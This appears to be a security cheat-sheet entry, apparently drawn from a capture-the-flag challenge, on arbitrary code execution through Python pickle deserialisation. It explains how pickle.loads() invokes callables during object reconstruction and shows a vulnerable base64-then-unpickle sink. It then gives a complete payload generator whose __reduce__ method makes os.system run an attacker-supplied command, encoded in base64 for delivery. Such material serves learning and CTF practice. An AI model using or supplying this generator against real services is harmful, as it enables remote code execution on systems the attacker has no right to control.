Pickle
Python Pickle arbitrary code execution
Python Pickle is a serialization format for storing Python objects as bytes. Unlike a format limited to plain data, a Pickle stream can contain reconstruction instructions describing how Python should recreate an object.
pickle.loads() accepts Pickle bytes, interprets those instructions, and returns the reconstructed Python object. Some instructions call a Python callable during reconstruction. A callable is a function, class, or other Python object that can be invoked with parentheses. Attacker control over the Pickle bytes can therefore turn pickle.loads() into a code-execution sink.
Vulnerable sink
The encoded value is decoded into bytes and passed directly to pickle.loads():
decoded_value = base64.b64decode(encoded_value)
deserialized_value = pickle.loads(decoded_value)base64.b64decode() only removes the transport encoding. pickle.loads() is the operation that deserializes the object and executes its reconstruction instructions.
The input flow is:
Base64-encoded input
-> base64.b64decode()
-> serialized Pickle bytes
-> pickle.loads()
-> object reconstruction
-> callable executionPayload generator
__reduce__() is a special method used by Pickle to ask an object how it should be reconstructed. It returns two important values: the callable to execute and a tuple containing the arguments passed to that callable. This payload selects the os.system function and supplies the operating-system command as its only argument.
import base64
import os
import pickle
def prepare_payload(command):
class RCE:
def __reduce__(self):
reduction = os.system, (command,)
return reduction
payload_object = RCE()
serialized_payload = pickle.dumps(payload_object)
encoded_payload = base64.b64encode(serialized_payload)
payload = encoded_payload.decode()
return payload
command = "<COMMAND>"
payload = prepare_payload(command)
print(payload)pickle.dumps() runs locally and asks the payload object’s __reduce__() method for its reconstruction instructions. It writes the selected function and arguments into the Pickle byte stream; it does not call os.system locally. The target later interprets those instructions with pickle.loads(), which calls os.system(command) during reconstruction.
Find by: python deserialization, pickle, pickle loads, pickle dumps, unsafe pickle, reduce, reduce, object reconstruction, arbitrary code execution, os system, base64 pickle, payload generator · Source: HTB/C.O.P.